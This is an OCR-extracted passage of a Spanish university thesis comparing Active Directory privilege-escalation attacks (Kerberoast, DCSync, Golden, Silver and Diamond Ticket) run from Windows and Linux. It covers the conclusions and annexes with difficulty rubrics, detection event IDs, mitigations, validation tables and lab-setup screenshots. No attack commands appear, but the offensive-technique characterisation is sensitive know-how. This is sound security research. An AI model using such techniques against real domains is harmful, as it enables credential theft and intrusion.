tienen éxito. Sin embargo, en el presente estudio se observo que, si bien Windows
requiere mas configuracion previa, el acceso a herramientas de explotacion directa y la
integracion con el entorno de Directorio Activo facilita en muchos casos la ejecucion de
los ataques. En contraste, en Linux se necesita adaptar el entorno para emular
correctamente la comunicacion con el dominio, pero esto otorga mayor flexibilidad al

atacante.

Examinar los tiempos de ejecucion de los ataques de escalada de privilegios en
Directorio Activo desde entornos Windows y Linux.

En el presente estudio, lo que evidencia una ejecucion rapida y similar entre ambos
sistemas operativos, estos resultados contrastan con los tiempos obtenidos en la
investigacion de Hualpa R. (2022), donde los vectores de ataque evaluados tardaron entre
1 minuto 28 segundos y 2 minutos 3 segundos en completarse. La diferencia puede
atribuirse a la naturaleza de los ataques evaluados: mientras que Hualpa considerd
exploits como Dirty Cow, que requieren pasos adicionales como la compilacion de scripts
y la interaccion con maltiples procesos del sistema, en esta investigacién se trabajé con
ataques especificos al Directorio Activo. Por tanto, aunque ambos estudios coinciden en
sefialar la eficiencia de los ataques automatizados, los resultados aqui presentados
evidencian que los ataques a servicios como Directorio Activo pueden ejecutarse en un

tiempo aun maés reducido.
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CONCLUSIONES

La identificacion de los requisitos técnicos necesarios para ejecutar ataques de
escalada de privilegios en Directorio Activo permitio establecer que, si bien cada técnica
presenta particularidades en cuanto a credenciales, permisos y herramientas, existe un
patron comun que facilita su caracterizacion. Se evidencidé que ataques como DCSync,
Golden Ticket, Silver Ticket, Diamond Ticket y Kerberoast demandan distintos niveles
de acceso previo desde la obtencion de hashes o tickets hasta credenciales de cuentas
privilegiadas y el uso de herramientas especializadas como Impacket o Mimikatz. Este
hallazgo demuestra que el éxito de los ataques no depende Unicamente de
vulnerabilidades técnicas del sistema, sino también de la preparacion y el conocimiento
del atacante, asi como de la existencia de configuraciones inseguras en el entorno de

Directorio Activo.

Respecto al analisis de los métodos de implementacion entre Windows y Linux, los
resultados muestran que ambos entornos permiten la ejecucion de los ataques analizados,
aunque con diferencias en herramientas y flujo de trabajo. Linux cuenta con herramientas
mas integradas y automatizadas lo que puede facilitar la ejecucion del ataque en menos
pasos. En cambio, en Windows, si bien existen herramientas equivalentes, estas requieren
una mayor configuracion previa y conocimientos técnicos mas profundos para su
ejecucion manual. Sin embargo, desde la perspectiva técnica de los vectores utilizados,
el ndcleo del ataque es practicamente idéntico, lo que permite su caracterizacion bajo un

mismo conjunto de indicadores, como fue aplicado en esta tesis.

En cuanto al tiempo de ejecucion de los ataques desde entornos Windows y Linux,
se concluye que no hay diferencias claras entre ambos sistemas operativos. Esto indica
que la eleccion del sistema operativo no influye de manera relevante en la rapidez con la
que se llevan a cabo los ataques, por lo que el tiempo de ejecucion no constituye un
criterio decisivo al momento de seleccionar el entorno para ejecutar ataques de escalada

de privilegios en Directorio Activo.

39



RECOMENDACIONES

En investigaciones futuras dentro de esta misma linea de estudio, se recomienda

considerar los siguientes aspectos con el propdsito de ampliar el alcance y la profundidad

del analisis:

a)

b)

d)

Ampliar el espectro de ataques evaluados: Se sugiere incluir otros vectores de
escalada de privilegios y técnicas relacionadas con ACL’s, delegaciones de servicios,
ataques de persistencia o vulnerabilidades emergentes. Esto permitiria enriquecer la
caracterizacion de los escenarios de ataque y establecer comparaciones mas
completas respecto a los resultados obtenidos en la presente investigacion.
Incorporar entornos hibridos y en la nube: Dado que muchas organizaciones migran
sus infraestructuras hacia servicios como Entra ID (Azure Active Directory) o
entornos hibridos, resultaria valioso replicar la metodologia en escenarios de nube,
considerando las particularidades de autenticacion y seguridad que presentan estos
modelos.

Profundizar en diversas técnicas de deteccion basadas en inteligencia artificial y
analisis de comportamiento: Futuras investigaciones podrian evaluar herramientas
avanzadas de monitoreo que utilicen machine learning o anélisis de comportamiento
de usuarios, para determinar su eficacia frente a ataques sigilosos.

Realizar pruebas en entornos con mayor carga de trabajo: Se recomienda llevar a
cabo experimentos en escenarios con mayor numero de usuarios, grupos, politicas y
servicios activos, a fin de simular de manera mas fiel la complejidad de un entorno
corporativo real. Esto permitiria analizar como la densidad de objetos y procesos en
Directorio Activo puede influir en la ejecucién, deteccion y mitigacion de los

ataques.
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Anexo 01
Matriz de consistencia

Titulo: Analisis comparativo de caracteristicas en ataques de escalada de privilegios en Directorio Activo

Problemas

Objetivos

Hipdtesis

Variables

Metodologia

Poblacion

Problema general

Obijetivo general

Hipétesis general

¢Cuales son las caracteristicas
de los ataques de escalada de
privilegios en Directorio
Activo?

Determinar las caracteristicas
de los ataques de escalada de
privilegios en Directorio
Activo.

Problema Especifico |

Objetivo Especifico |

¢ Cudles son los requisitos
técnicos necesarios para
ejecutar los ataques de
escalada de privilegios en
Directorio Activo?

Identificar los requisitos
técnicos necesarios para
ejecutar ataques de escalada
de privilegios en Directorio
Activo.

Problema Especifico Il

Objetivo Especifico Il

¢Cémo se implementan los
ataques de escalada de
privilegios en Directorio
Activo desde sistemas
operativos Windows y Linux?

Analizar los métodos de
implementacion de ataques de
escalada de privilegios en
Directorio Activo desde
sistemas operativos Windows
y Linux.

Problema Especifico Ill

Objetivo Especifico Il

¢Cudles son los tiempos de
ejecucion de los ataques de
escalada de privilegios en
Directorio Activo desde
sistemas operativos Windows
y Linux?

Examinar los tiempos de
ejecucion de los ataques de
escalada de privilegios en
Directorio Activo desde
entornos Windows y Linux.

Segun Hernandez et
al. (2014), el hecho
de formular o no
hipdtesis depende
principalmente del
alcance inicial del
estudio. En el caso
de esta investigacion
al buscar
caracterizar el nivel
de complejidad de
cada ataque y no la
relacién entre estos,
se determiné la no
utilizacién de
hipotesis. En la
investigacion se
describen las
caracteristicas de los
ataques de escalada
de privilegios en
Directorio Activo.

Ataque de escalada

El tipo de investigacion es de
naturaleza tecnoldgica
aplicada.

Nivel de investigacion

de privilegio descriptivo de variable
independientes, disefio de
campo
Dimensiones Técnica e instrumentos
e Requisitos
técnicos del La técnica consiste en la
ataque. observacion, utilizando de
e Ejecucion del instrumento la ficha de
ataque. observacion que permitira
e Deteccidn. registrar los detalles de la
¢ Mitigacion. investigacion.

e Respuesta.

La poblacién es finita, ya que esta
conformada por los ataques
correspondientes a la etapa de
escalacion de privilegios en
entornos de Directorio Activo.

Muestra

Muestreo no probabilistico por
conveniencia debido a la naturaleza
de los ataques en estudio, estando
compuesta por los ataques
Kerberoast, DCSync, Silver Ticket,
Golden Ticket y Diamond Ticket.

46




Anexo 02
Ficha de observacién para variable ataque de escalada de privilegio

El presente instrumento, esta disefiado para medir la variable de estudio: "Ataque de escalada
de privilegios". Este instrumento tiene como objetivo principal caracterizar los ataques de
escalada de privilegios en Directorio Activo desde sistemas operativos Linux y Windows,
considerando sus caracteristicas en términos de patrones de ataque, técnicas utilizadas,

herramientas empleadas, y métricas de evaluacion especificas.

Nombre ataque

Patrén de ataque

Técnica MITRE

Sistema Operativo: Kali Linux

Herramientas

Tiempo promedio de

gjecucion

Dificultad del ataque Bajo Medio Alto
Dificultad de deteccion Bajo Medio Alto
Dificultad de mitigacién Bajo Medio Alto
Dificultad de respuesta Bajo Medio Alto

Sistema Operativo: Windows

Herramientas

Tiempo promedio de

ejecucion

Dificultad del ataque Bajo Medio Alto
Dificultad de deteccion Bajo Medio Alto
Dificultad de mitigacién Bajo Medio Alto
Dificultad de respuesta Bajo Medio Alto




Requisitos técnicos del ataque

Requisitos Técnicos del Ataque

Indicador

Bajo (1 punto)

Medio (2 puntos)

Alto (3 puntos)

Herramientas

Herramientas nativas del

Herramientas comunes de

Herramientas
personalizadas o dificiles

necesarias sistema operativo. entesting. -

P P g de obtener/configurar.
Privilegios No se requieren Se requiere acceso a Requiere privilegios
previos privilegios especiales algln grupo o usuario elevados o control del
requeridos (usuario estandar). especial sistema.

Conocimiento
técnico necesario

Conocimientos basicos de
uso del sistema operativo,
manejo de interfaz gréfica
0 comandos simples sin
necesidad de scripting o
conocimientos de redes.

Conociminetos
intermedios en uso de
PowerShell o Bash,
estructura basica de AD,
tipos de tickets Kerberos

Conocimientos avanzados
en internals del protocolo
Kerberos, manipulacion
de tickets (TGT/TGS) o
scripting personalizado

Puntaje total

Nivel de
dificultad

Definicion Técnica

3 -4 puntos

Bajo

El ataque puede ejecutarse con herramientas facilmente accesibles,
sin necesidad de privilegios especiales y con conocimientos
béasicos en informética. Cualquier usuario con acceso estandar
puede realizarlo siguiendo instrucciones simples.

5 — 6 puntos

Medio

El ataque requiere herramientas especificas que deben ser
configuradas o ejecutadas por linea de comandos, y puede necesitar
ciertos privilegios como pertenecer a grupos intermedios. El
atacante debe tener conocimientos técnicos intermedios (AD,
PowerShell, redes).

7 -9 puntos

Alto

El ataque necesita herramientas especializadas o personalizadas,
privilegios elevados, y conocimientos avanzados en estructuras

internas de Directorio Activo, scripting y protocolo Kerberos. Solo
ejecutable por atacantes experimentados.
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Dificultad del ataque

Dificultad del Ataque

Indicador

Bajo (1 punto)

Medio (2 puntos)

Alto (3 puntos)

los pasos
técnicos

Complejidad de

El ataque se ejecutaen 1 a
2 pasos simples y directos,
sin necesidad de
configurar opciones
avanzadas.

El ataque requiere varios
pasos secuenciales y el
uso de parametros o
configuraciones
especificas

El ataque requiere multiples
pasos complejos,
modificaciones a
configuraciones o scripts
personalizados.

Facilidad de uso
de herramientas

Herramientas faciles de
ejecutar, con
documentacion oficial
clara, interfaces simples y
resultados automaticos.

Las herramientas
requieren conocer
comandos especificos,
interpretar salidas
técnicas o ajustar
opciones manualmente.

Las herramientas no tienen
documentacion clara, requieren
modificacion o su ejecucion
depende del contexto técnico
del dominio comprometido.

Estabilidad del

El ataque se ejecuta
correctamente en la
mayoria de los entornos

El ataque puede presentar
fallos menores o necesitar

El ataque falla con frecuencia,
requiere ajustes constantes o
solo se completa en

automatizacion

preconstruido sin

intervencion manual
parcial (copiar tickets,

ataque . - . ser ejecutado mas de una - .
sin fallos ni necesidad de condiciones muy especificas o
- vez para completarse.
repeticion. controladas.
. El ataque combina
El ataque se ejecuta con .
. : - herramientas con Totalmente manual o
Nivel de una herramienta o script

dependiente de scripts
personalizados y de

del ataque intervencion manual entre . . ' TN
modificar parametros, interpretacion técnica.
etapas. : .
combinar herramientas).
Puntaje Nivel de Definicién Técnica
Total Dificultad
del Ataque

4 -5 puntos Bajo El ataque puede ser ejecutado facilmente por un atacante con conocimientos
bésicos, sin modificar herramientas o procesos. Generalmente confiable y
automatizado.

6 — 8 puntos Medio El ataque requiere comprension del entorno y herramientas utilizadas, asi
como intervencion en uno 0 mas pasos. Presenta una dificultad moderada de
ejecucion.

9-12 Alto El ataque exige experiencia avanzada en ciberseguridad ofensiva,
puntos conocimiento profundo del protocolo Kerberos, y adaptacion técnica para
lograr su ejecucion completa.
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Dificultad de deteccion

Dificultad de Deteccidn

Indicador

Bajo (1 punto)

Medio (2 puntos)

Alto (3 puntos)

Existencia de
eventos Unicos o
fiables

El ataque genera eventos
especificos facilmente
reconocibles en los logs.

El ataque requiere
correlacionar multiples
eventos o condiciones
para detectarlo.

No existen eventos claros
0 pueden confundirse con
actividades legitimas.

Posibilidad de
falsos positivos

La deteccidn es precisa,
con baja o nula
probabilidad de falsos
positivos.

Puede haber confusion
con acciones legitimas.

Alta posibilidad de falsos
positivos o eventos
indistinguibles.

Herramientas
requeridas para
detectar

Detectable con
herramientas basicas
(Event Viewer, Sysmon).

Requiere un SIEM y
configuracion de reglas
personalizadas.

Requiere soluciones
avanzadas, correlacion de
largo plazo, técnicas
forenses o
comportamiento anémalo.

Puntaje total

Nivel de
dificultad

Descripcion

3 -4 puntos

Bajo

El ataque genera eventos Unicos y facilmente identificables en los
logs del sistema (p. €j., Event ID 4769), detectables con
herramientas basicas como Event Viewer o0 Sysmon. Se pueden
configurar alertas simples sin riesgo significativo de falsos

positivos.

5 -6 puntos

Medio

El ataque produce eventos que requieren correlacion entre
maultiples registros para ser detectados (p. €j., 4624 + 4768 + 4672).
Puede haber falsos positivos si no se ajustan adecuadamente las
reglas. Se necesita conocimiento moderado en analisis de logs.

7 -9 puntos

Alto

El ataque genera eventos ambiguos o que pueden parecer actividad
legitima. No hay firmas claras, o bien se pierden entre trafico
normal. Se requiere correlacién avanzada, reglas personalizadas y
analisis histérico para lograr una deteccion efectiva.
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Dificultad de mitigacion

Dificultad de Mitigacion

Indicador

Bajo (1 punto)

Medio (2 puntos)

Alto (3 puntos)

Complejidad de
acciones
preventivas

Las contramedidas son
simples, como ajustes de
politicas de grupo,
actualizaciones o
configuraciones estandar.

Requieren cambios
intermedios en servicios,
configuracion de
deteccion adicional o
restriccion de privilegios
mas delicada.

Requieren redisefio
estructural, segmentacion
avanzada, deshabilitar
funcionalidades de
negocio o implementar
controles no triviales.

Disponibilidad
de soluciones

Existen soluciones
oficiales, documentadas y
validadas por fabricantes

Las soluciones son
mixtas: oficiales
parcialmente o
dependientes de
herramientas de terceros.

No hay soluciones claras
0 estandarizadas. Las
medidas son,
personalizadas o
dependen de decisiones
especificas del entorno.

La mitigacion no afecta el

Puede generar
limitaciones leves (ej.

Impacta directamente en
procesos criticos, genera

Impacto en la uso regular del sistemani | . - L .

L - imposibilidad de usar friccion con los usuarios o

operacion la productividad de los . . . Y

USUATTOS. ciertas cuenNtas, cambios afec';a_dlsponlb_llldad de
de contrasefa frecuentes). | servicios esenciales.
Puntaje Nivel de Definicion Técnica
Total Dificultad
del Ataque

4 -5 puntos Bajo Existen soluciones claras, documentadas y de facil implementacion, como
cambiar configuraciones por defecto (ej. deshabilitar RC4, aplicar
restricciones de SPN). Las acciones pueden realizarse sin afectar
significativamente la operacion.

6 — 8 puntos Medio La mitigacion requiere combinar politicas de grupo, actualizaciones,
endurecimiento del entorno y control de privilegios. Puede generar friccion
operacional o afectar compatibilidad con sistemas heredados. Se necesita
personal con conocimientos técnicos.

9-12 Alto No existen medidas directas o viables para prevenir el ataque sin redisefiar

puntos aspectos criticos del entorno (ej. cambio en disefio de confianza de dominios,
limitacion de funciones clave). Algunas vulnerabilidades estan ligadas al
propio disefio del protocolo Kerberos. Requiere inversion en arquitectura y
monitoreo continuo.
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Dificultad de respuesta

Dificultad de Respuesta

conocimientos
especializados.

en respuesta a incidentes.

Indicador Bajo (1 punto) Medio (2 puntos) Alto (3 puntos)
Pue_de Ser manejado por el Requiere participacion de | Requiere equipos
equipo interno de Tl o . .
Recursos . . analistas de seguridad o | forenses, respuesta a
. seguridad sin T L
necesarios personal con experiencia | incidentes avanzada o

incluso apoyo externo.

Tiempo estimado
de contencién

Puede resolverse en
minutos u horas.

Requiere horas o hasta un
dia para la contencion y
andlisis inicial.

Puede tomar varios dias o
semanas para restaurar
completamente el entorno
y analizar el alcance del
ataque.

Complejidad de
las acciones de

La respuesta es directa,
siguiendo procedimientos

La respuesta implica
analisis detallado,
restauracion de usuarios o

Las acciones son
complejas: restauracion de
DC, analisis de logs
extensos, verificacion de

respuesta claros o automatizados. tickets, y validacion integridad, redefinicién de
posterior. claves o limpieza
profunda.
Puntaje Nivel de Definicion Técnica
Total Dificultad del
Ataque

4 -5 puntos Bajo La contencién y remediacién pueden ser realizadas rapidamente por
personal de TI, siguiendo procedimientos estandar (ej. revocacion de
contrasefas, limpieza de tickets, reinicio de servicios). Se dispone de
protocolos y herramientas accesibles.

6 - 8 puntos Medio La respuesta requiere la intervencion de personal especializado (gj.
analista SOC o Blue Team), analisis de logs detallado, y aplicacion de
maltiples acciones coordinadas (p. ej. restablecimiento de cuentas,
andlisis forense basico). Puede tomar horas o dias.

9-12 Alto Requiere un equipo formal de respuesta a incidentes (IR Team),

puntos herramientas forenses especializadas y un proceso largo de investigacion,
aislamiento y limpieza. La persistencia del atacante es elevada y puede ser
necesario reconstruir partes del entorno (ej. recrear el dominio o resetear
la clave KRBTGT).
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Anexo 03

Validacion del instrumento de investigacion

Nombre del instrumento: Ficha de observacion para la evaluacion de las caracteristicas de

ataques de escalada de privilegios en Directorio Activo.

1. DATOS GENERALES

Apellidos y nombres

Cargo e Institucién donde labora

Autor del instrumento

2. ASPECTOS DE VALIDACION

MALO =1 REGULAR =2 BUENO =3
INDICADOR Meétricas Valoracion Observacion
Patr6n de ataque Cadigo de identificacion
Técnica MITRE Coadigo de técnica
Sistema Operativo Linux / Windows
Herramientas Nombre de herramientas

Tiempo promedio de

. ! Tiempo de ejecucién
ejecucion

Requisitos de realizacion (bajo,
medio, alto)

Definicion de logs (bajo,
medio, alto)

Namero y tipo de medidas
necesarias (bajo, medio, alto)
NUmero de pasos (bajo, medio,
alto)

Dificultad del ataque

Dificultad de deteccion

Dificultad de mitigacion

Dificultad de respuesta

Firma del evaluador
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Coeficiente de V de Aiken

La validacion del instrumento se refiere a “si el instrumento mide lo que se pretende
medir, ademas de cotejar su pertinencia o correspondencia con los objetivos especificos y
variables de la investigacion” (Arias F, 2012, p. 135), por lo que para validar el instrumento

de la presente investigacion se utilizara el coeficiente V de Aiken.

De acuerdo con Merino Soto (2023) V de Aiken permite la medicién del instrumento
de medicion, permitiendo un avance a la metodologia valorando la aplicabilidad de este
procedimiento en el disefio de la investigacion. Este coeficiente facilita medir la importancia
de los items en relacion con un contenido, basado en las valoraciones realizadas por un grupo

de N jueces 0 expertos.

Para la validacion, se utiliz6 una escala tipo Likert con las opciones de valoracion
"malo”, "regular" y "bueno", a las cuales se asignaron valores numéricos de 1 a 3,

respectivamente.

X-1
V="— (@
Donde:
V = Coeficiente V de Aiken.
X = Promedio de las calificaciones de todos los jueces.
| = Calificacion minima.

k = Diferencia de la calificacion méaxima menos la calificacion minima.

Para determinar si los items lograron un nivel satisfactorio de validez de contenido,
se utilizé el coeficiente V de Aiken con la colaboracidn de cinco jueces expertos. Este analisis
se realizd con un nivel de confianza del 95% y aplicando un criterio liberal, estableciendo

que el limite inferior debia ser de al menos 0,5 para considerar valido el item.
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Latabla 7 presenta los célculos realizados para los valores del coeficiente V de Aiken
y sus intervalos de confianza correspondientes, aplicados a los 9 items de la ficha de

observacion. En todos los casos, se verifico la validez de los items.

Tabla 7
Coeficiente V de Aiken e intervalos de confianza al 95 %

Items Promedio 'V de Aiken L. Inferior L. Superior Criterio Liberal ¥

Aiken==0,5
1 3 1 0,72 1 Es valido
2 3 1 0,72 1 Es valido
k] 3 1 0,72 1 Es valido
4 2.8 0.9 0.6 0,98 Es valido
5 3 1 0.72 1 Es valido
] 2.8 0.9 0,6 0,98 Es valido
7 2.8 0.9 0,72 1 Es valido
3 2.8 0.9 0,6 0,98 Es valido
9 2.8 0.9 0,6 0,98 Es valido
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Anexo 04
Valoraciones de jueces al instrumento de recoleccion de datos

VALIDACION DEL INSTRUMENTO DE INVESTIGACION

Nombre del instrumento: Ficha de observacién para la evaluacién de las caracteristicas de
ataques de escalada de privilegios en Directorio Activo.

1. DATOS GENERALES

| Aeliosy Bomluce MNKacin Yanet Sopp Govendky
Cargo e Institucién donde labora st e - Docﬂm(-e
Autor del instrumento Gondaallas Radeiguez | Doprel

2. ASPECTOS DE VALIDACION

MALO=1 REGULAR =2 BUENO =3
INDICADOR Métricas Valoracién Observacion
Patrén de ataque Cédigo de identificacion | 3
Técnica MITRE Cédigo de técnica G
Sistema Operativo Linux / Windows 3
Herramientas Nombre de herramientas 2.
Tiempo promedio de : N
ejecucion Tiempo de ejecucion 3
Requisitos de
Dificultad del ataque realizacion (bajo, 2
medio, alto)
- . |Definicion de logs (bajo,
Dificultad de deteccion medio, alto) 3
Niimero y tipo de
Dificultad de mitigacién | medidas necesarias 2
(bajo, medio, alto)
5 Nimero de pasos (bajo,
Dificultad de respuesta | dio, alto) 3

dei evaiuador
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Nombre del instrumento: Ficha de observacion para la evaluacién de las caracteristicas de

atamac Ao acnnlada Aa nmviilamiae an Nirantamia A ~ti
1\.w s Nas rl “v ‘lva A

mT
AIAAs

X T

~ ~t
AW e AANVNAAANS 4 AV YU

Apellidos y nombres %é/ f@;/ff A Jarre )‘rga/g ;1
Cargo e Institucién donde labora | )77
Autor del instrumento GQnénnnc\ ‘Qoé ez Ne me'

2. ASPECTOS DE VALIDACION

MALO =1 I REGULAR =2 ’ BUENO =3 ‘

INDICADOR Métricas Valoracion Observacion
Patr6n de ataque Cédigo de identificacion 2 =
Técnica MITRE Cédigo de técnica . -
Sistema Operativo Linux / Windows 2 B
Herramientas Nombre de herramientas 3 —
:;;nug%zromedlo " Tiempo de ejecucion 3 ==
Dificultad del ataque mﬁf realizacion (bajo, 3 o
Dificultad de deteccion zeg‘::l’;;’e logs (bajo, 2 B
Dificultad de mitigacion :m '(’g;:el:ln;hd‘o’dfm ; 3 -
Dificultad de respuesta ::3‘"0 de pasos (bajo, medio, Z -

22

Y
o

Fiiiila Uet € valuadot
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VALIDACION DEL INSTRUMENTO DE INVESTIGACION

Nombre del instrumento: Ficha de observacién para la evaluacién de las caracteristicas de
ataques de escalada de privilegios en Directorio Activo.

1. DATOS GENERALES

Apellidos y nombres

Condori Siles  Enrigue Waldo

Cargo e Institucién donde labora | Docende. LINTRE

Autor del instrumento

60«)::«!“0-\ Qcécv'«&dez, \,,me(

. ASPECTOS DE VALIDACION
MALO =1 REGULAR =2 BUENO =3
INDICADOR Métricas Valoracion Observacion
Patrén de ataque Cédigo de identificacién =
Técnica MITRE Cédigo de técnica =3
Sistema Operativo Linux / Windows =
Herramientas Nombre de herramientas =3
Tiempo promedio de N -
ejecucion Tiempo de ejecucion ]
Requisitos de
Dificultad del ataque realizacion (bajo, =
medio, alto)
5 A Definicién de logs (bajo,
Dificultad de deteccion | -~ . o 8kt g
Nimero y tipo de
Dificultad de mitigacion | medidas necesarias =
(bajo, medio, alto)
: Nimero de pasos (bajo, -
Dificultad de respuesta | edio, alto) =
4 Firmg del evaluador
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VALIDACION DEL INSTRUMENTO DE INVESTIGACION

1. DATOS GENERALES

Nombre del instrumento: Ficha de observacién para la evaluacién de las caracteristicas de
ataques de escalada de privilegios en Directorio Active.

Apellidos y nombres

I My Aw,slh_égl - Burclro |

Cargo e Institucién donde labora

bocwﬁ— UNTB G

Autor del instrumento

Goadaei llas ,Q«)rvf)»e? ’ anul

Definicién de logs (bajo,

Dificultad de deteccién %io, alto)
Nitmero y tipo de
Dificultad de mitigacién | medidas necesarias
(bajo, medio, alto)
E Numero de pasos (bajo,
Dificultad de respuesta medio, alto)

2. ASPECTOS DE VALIDACION
MALO=1 REGULAR =2 BUENO =3
INDICADOR Meétricas Valoracion Observacion
Patrén de ataque Cédigo de identificacién 3
Técnica MITRE Cédigo de técnica 3
Sistema Operativo Linux / Windows 3
Herramientas Nombre de herramientas 3
Ti i ¢k
qf(:cp:)onmed‘o - Tiempo de ejecucion s
Requisitos de
Dificultad del ataque realizacioén (bajo, 3
medio, alto)
o3
3
3

#

- ‘7 - -
Firma del evaiuader
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VALIDACION DEL INSTRUMENTO DE INVESTIGACION

Nombre del instrumento: Ficha de observacién para la evaluacion de las caracteristicas de
ataques de escalada de privilegios en Directorio Activo.

1. DATOS GENERALES

Apellidos y nombres MORT S0SA, LUIS JHONSON
Cargo e Institucién donde labora | YOCENTE UNIRG
Autor del instrumento L;n.\émn Uq) ﬁcéuf,s:z, Vanrel

2. ASPECTOS DE VALIDACION

MALO =1 REGULAR =2 BUENO =3
INDICADOR Métricas Valoracién Observacion
Patrén de ataque Cédigo de identificacién 3
Técnica MITRE Codigo de técnica 2
Sistema Operativo Linux / Windows 2
Herramientas Nombre de herramientas 2
;ﬁg&g"’m‘d” 9 | Tiempo de jocuciéa 2
Dificultad del ataque ﬁ?;b"l(i:i:(;tso‘)k seafizacidn (bejo, 2
Dificultad de deteccién | e ihieiin de 103 (ajo, -
Dificultad de mitigacién | Nom"®Y “(;f_" :‘n‘:‘;“;;f’fho) 2
Dificultad de respuesta S:n:)xm de pasos (bejo, medio, 2

AN

‘E!@%P;luador
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Anexo 05
Configuracion del laboratorio de Directorio Activo y conexién de usuario en Windows y

Linux

Figura 1

Interfaz inicial de Windows Server.

[ Server Manager

« Dashboard - (:é:)l r Manage Tools  View

Local Server
S All Servers

W& File and Storage Services b

o Configure this local server

QUICK START

Add roles and features

Add other servers to manage

‘WHAT'S NEW ~
Create a server group

to cloud serv
Hide|

Connect th

ROLES AND SERVER GROUPS
R col o coe

Figura 2

Inicio de instalacion del servicio de Directorio Activo.

-
1 s Add Roles and Features Wizard — [m] X
. . DESTINATION SERVER
Select installation type WIN-VTT2OBNIY
2 Before You Bagin Select the installation type. You can install roles and features on a running physical computer or virtual
- machine, or on an offline virtual hard disk (VHD).
o X
(®) Role-based or feature-based installation
Configure a single server by adding roles, role services, and features.
View  Help
) Remote Desktop Services installation
Install required role services for Virtual Desktop Infrastructure (VD) to create a virtual machine-based
or session-based desktop deployment.
ar
je
| services
Hide

ROLES AND SERVER GROUPS
P S—— _
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Figura 3

Seleccioén de servidor destino de la instalacién

-
1 . Add Roles and Features Wizard - O X
B DESTINATION SERVER
Select destination server whovTZOE
Before You Begin Select a server or a virtual hard disk on which to install roles and features.
Installation elect a server from the server pool o x
elect a virtual hard disk
Server Roles Server Pool View  Help
Fitter: | |
Name 1P Address Operating System
WIN-IV77T208NIV Microsoft Windows Server 2025 Standard Evaluation
Br
|
1 Computerls) found
This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and
newly-added servers from which data collection is still incomplete are not shown.
\ | services|
\ Hide

ROLES AND SERVER GROUPS

Rolac: = ==

Figura 4
Seleccion de las caracteristicas a instalar.

= Add Roles and Features Wizard — o x
DESTINATION SERVER
Before You Begin Select ane or more roles to install on the selected server. O X
Installation Roles Description
Help ~

Active Directory Domain Services

[ Active Directory Certificate Services : ! 5
7 D ory Dom, e = (AD DS) stores information about

[ Active Directory Federation Services o e e lnetvaricand makes

[] Active Directory Lightweight Directory Services
[[] Active Directory Rights Management Services

this information available to users
and network administrators, AD DS

_1
+ Select server roles WIN-IVTTT208NIV

[] Device Health Attestation uses domain controllers to give  —
[] DHCP Server network users access to permitted

[] DNS Server resources anywhere on the network

[ Fax Server through a single logon process.

[®] File and Storage Services {1 of 12 installed)
[ Host Guardian Service

[] Hyper-v

[] Network Policy and Access Services

[] Print and Document Services

[] Remote Access

[] Remote Desktop Services

[ Volume Activation Services

[] Web Server (115)

[] Windows Deplayment Services §
[ Windows Server Update Services fvices

Hide

ROLES AND SERVER GROUPS
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Figura 5

Confirmacion de la instalacion de las caracteristicas seleccionadas.

_‘ R Add Roles and Features Wizard - [m} ®
Confirm installation selections BT

Befors You Begin To install the following roles, role services, or features on selected server, click Install.

Installation Ty

Restart the destination server automatically if required

Server Selection Optional features (such as administration tools) might be displayed on this page because they have
N been selected automatically. f you do not want to install these optional features, click Previous to clear
their check boxes.

Remote Server Administration Tools

Feature Administration Tools

Server Roles

Add Roles and Features Wizard X

If a restart is required, this server restarts automatically,
without additional notifications, Do you want to allow
automatic restarts?

Export configuration settings

rvices|
Specify an alternate source path

ROLES AND SERVER GROUPS
Roglec e 4

groun ervers total

Figura 6

Promocidn del servidor a Directorio Activo.

File Machin,

o
e
e o Server

Manager - o x

[ servers
Dashboard . All servers | 1 total TASKS +
§ Local Server I Configuration required for Active Directory Domain Services st Wl.. More. X
I} BE All Servers ) v
AD DS
B File and Storage Services b Server Name 1Pv4 Address  Manageability Last Upd
T All Servers Task Details - O B3
All Servers Task Details and Notifications
All Tasks | 1 tota
Filter pel
Status Task Name Stage  Message Action Notifications

A\ Post-deployment Configuration Not Sta... Configuration required for Active Directory Do... Promote this server to a domain... 1

Status Notification Time Stamp

Additional steps are required to make this machine a domain controller. 18/07/2025 09:50:18
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Figura 7

Configuracion del nombre de dominio “adlab.local”.

- - TARGET SERVER
Deployment Configuration WIN-VTTT208NIV

Select the deployment operation
Domain Controller Options i

Add a domain controller to an existing domain
Additional Cptions

Paths

Add a new domain to an existing forest

Add a new forest

Specify the domain information for this operation Notifications

More about deployment configurations

Install Cancel

Figura 8

Configuracion del usuario DSRM.

Input

P
1 & Active Directory Domain Services Configuration Wizard - [m} X
D in Controller Onii TARGET SERVER
omain Lontroller Lptons WIN-IVTTT208NIV

2 Mode password does not meet the.

ent Configuration

Select functional level of the new forest and root domain ]
Domain Controller Options
)

- - Forest functional level: Windows Server 2025 e
DNS Opfions

Domain functional level: Windows Server 2025 ¥
Notifications

Specify domain controller capabilities M

Domain Mame System (DNS) server
/| Global Catalog (GC)
Read only domain controller (RODC)

Type the Directory Services Restore Mode (DSRM) password

Password: sssssEELEEES

Confirm password: sesnssssscasas

Mare about domain controller options

Install Cancel
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Figura 9
Rutas de NTDS y SYSVOL.

Input

ent Configuration

Domain Controller Options
Database folder:

Log files folder:
SYSVOL folder:

Figura 10

More about Active Directory paths

Specify the location of the AD DS database, log files, and SYSVOL
CAWINDOWS\NTDS |:|
CAWINDOWS\NTDS =

CAWINDOWS\SYSVOL

TARGET SERVER
WIN-IVT7T208NIV

Notifications

Cancel

Configuracion finalizad del Directorio Activo.

Dashboard
0 Local Server
All Servers
AD DS
& DNs

E§ File and Storage Services P

& PROPERTIES
| [

Manage  Tools

Computer name
Domain

Microsft Defender Firewall
Remote management
Remote Desktop

NIC Teaming

Ethemet

Ethemet 2

Azure Arc Management
Remote SSH Access

dc

adlab.local

Public: On

Enabled

Disabled

Disabled

IPv4 address assigned by DHCP, IPvé enabled
IPv4 address assigned by DHCP, IPvé enabled
Disabled

Disabled

EVENTS
All events | 29 total
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Figura 11

Configuracion del DNS por parte del usuario en Windows.

Settings O X
Network Connections - o
@ Hom
A UE) « Network and Internet > Metwork Connections v © | Search Network Connections
Find a s@ ? Nicahle thic netwarl devi ni hi r-‘tiun Rename this connection  » B:~ m
B Ethernet 2 Properties *
Network & Networking | Sharing network
/1000 MT Desktop Ad...
¥ Connect using
Statu I Intel(R) PRO/1000 MT Desktop Adapter #2
Internet Protocol Version 4 (TCP/IPv4) Properties
Configure
